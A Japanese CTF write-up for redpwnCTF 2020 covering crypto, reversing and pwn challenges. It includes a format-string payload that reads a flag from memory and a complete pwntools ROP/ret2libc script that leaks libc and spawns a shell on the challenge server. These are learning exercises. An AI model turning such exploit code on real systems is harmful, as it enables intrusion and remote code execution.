情報量が落ちる系のcryptは苦手。
まずはkeyを特定するのだが、暗号化後の文字が"i"(8)だった場合、元の文字が"e"(4)か"r"(17)かわからない。
両方を見比べて、意味のある文字列になるように拾っていったところ、"redpwwwnctf"になった。
#!/usr/bin/env python3 from string import ascii_lowercase chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)} num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)} def encrypt(ptxt, key): ptxt = ptxt.lower() key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower() ctxt = '' for i in range(len(ptxt)): if ptxt[i] == '_': ctxt += '_' continue x = chr_to_num[ptxt[i]] y = chr_to_num[key[i]] ctxt += num_to_chr[(x + y) % 26] return ctxt ct = 'z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut' ck = 'iigesssaemk' dk = 'redpwwwnctf' # for cki in ck: # n = chr_to_num[cki] # print('' + num_to_chr[n//2] + ' or ' + num_to_chr[(n+26)//2]) m = '' for i in range(len(ct)): if ct[i] == '_': m += '_' else: n1 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]] n2 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]] + 26 if n1 < 0: m += num_to_chr[n2] elif 25 < n2: m += num_to_chr[n1] else: print('error') print('flag{' + m + '}')
flag: flag{i_guess_pseudo_keys_are_pseudo_secure}
pwn/secret-flag
format string bugも苦手。
$ ./secret-flag I have a secret flag, which you'll never get! What is your name, young adventurer? %p%p%p%p%p%p%p%p%p%Hello there: 0x7ffea44444700x7fafc2c459e00x7fafc29703c00x7fafc3056740(nil)0x3a4446ba00x7fafc4f7f0100x70257025702570250x70257025702570
区切りが入っていなくて見づらいけど、入力値(%p=0x2570)は8番目以降に格納されている。
flag.txtのopen、readは既に行われていて、後は格納されているbufを読み出せばよい。
buf(-28h)は入力値s(-20h)の、qw(8バイト)単位で言うと一つ前に格納されている、つまり7番目がbufのアドレス。
$ nc 2020.redpwnc.tf 31826 I have a secret flag, which you'll never get! What is your name, young adventurer? %7$s Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}
flag: flag{n0t_s0_s3cr3t_f1ag_n0w}
crypto/4k-rsa
素因数を増やしたらつよいのか?わたしにはよくわからない…。
でもfactordbで素因数分解できてしまったので。
from Crypto.Util.number import inverse, long_to_bytes n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877 e = 65537 c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171 p = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977] phi = 1 for i in range(len(p)): phi = phi * (p[i]-1) d = inverse(e, phi) m = pow(c, d, n) print(long_to_bytes(m))
flag: flag{t0000_m4nyyyy_pr1m355555}
rev/bubbly
_Bool check(void) { uint32_t i; _Bool pass; i = 0; while( true ) { if (8 < i) { return true; } if (nums[i + 1] < nums[i]) break; i = i + 1; } return false; } int main(void) { uint32_t i; int unused; _Bool pass; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("I hate my data structures class! Why can\'t I just sort by hand?"); pass = false; while( true ) { __isoc99_scanf(&DAT_00102058); if (8 < i) break; nums[i] = nums[i] ^ nums[i + 1]; nums[i + 1] = nums[i + 1] ^ nums[i]; nums[i] = nums[i] ^ nums[i + 1]; pass = check(); } if (pass == false) { puts("Try again!"); } else { puts("Well done!"); print_flag(); } return 0; }
配列を繰り返しモゾモゾするような関数(言語化が難しい)はデコンパイラの方が見やすい。Ghidraで見る。
nums[i]とnum[i+1]で繰り返しxorして代入している部分は、配列num[i]とnum[i+1]の要素を入れ替えている。
用意された配列を、ぶっちゃければ手作業でバブルソートして小さい順に並べる問題。
gdb-peda$ x/10wx 0x555555558060 0x555555558060 <nums>: 0x00000001 0x0000000a 0x00000003 0x00000002 0x555555558070 <nums+16>: 0x00000005 0x00000009 0x00000008 0x00000007 0x555555558080 <nums+32>: 0x00000004 0x00000006
配列の構造体は上記のようになっている。
つまり0x1、0xa、…、0x6の配列の、入れ替える場所を0-8で指定し、小さい順に並べる。
終わったら、8より大きい値を入力して終了。
入れ替える箇所はどこからでもいいので、12345678456745645319
を入力した。
flag: flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}
pwn/the-library
他CTFのwriteupのコードを借りただけ。
初めてROPとret2libcした。最初は一つひとつアドレス調べて書いてたんだけどpwntoolsが全部やってくれると知って驚いた。便利。
from pwn import * io = remote('2020.redpwnc.tf', 31350) elf = ELF('./true') libc = ELF('./libc.so.6') #io = process(elf.path) rop = ROP(elf) # true puts_plt = elf.plt['puts'] main = elf.symbols['main'] libc_start_main = elf.symbols['__libc_start_main'] pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] ret = (rop.find_gadget(['ret']))[0] log.info("puts@plt: " + hex(puts_plt)) log.info("__libc_start_main: " + hex(libc_start_main)) log.info("pop rdi gadget: " + hex(pop_rdi)) base = b'A'*24 print(io.recvline()) payload = base + p64(pop_rdi) + p64(libc_start_main) + p64(puts_plt) + p64(main) io.send(payload) print(io.recvline()) print(io.recvline()) recieved = io.recvline().strip() leak = u64(recieved.ljust(8, b'\x00')) log.info("Leaked libc address, __libc_start_main: %s" % hex(leak)) libc.address = leak - libc.sym["__libc_start_main"] log.info("Address of libc %s " % hex(libc.address)) binsh = next(libc.search(b'/bin/sh')) system = libc.sym['system'] log.info("/bin/sh %s " % hex(binsh)) log.info("system %s " % hex(system)) print(io.recvline()) payload = base + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) io.send(payload) io.interactive()
2nd payloadのret gadgetが何故必要なのかわかってない…。
flag: flag{jump_1nt0_th3_l1brary}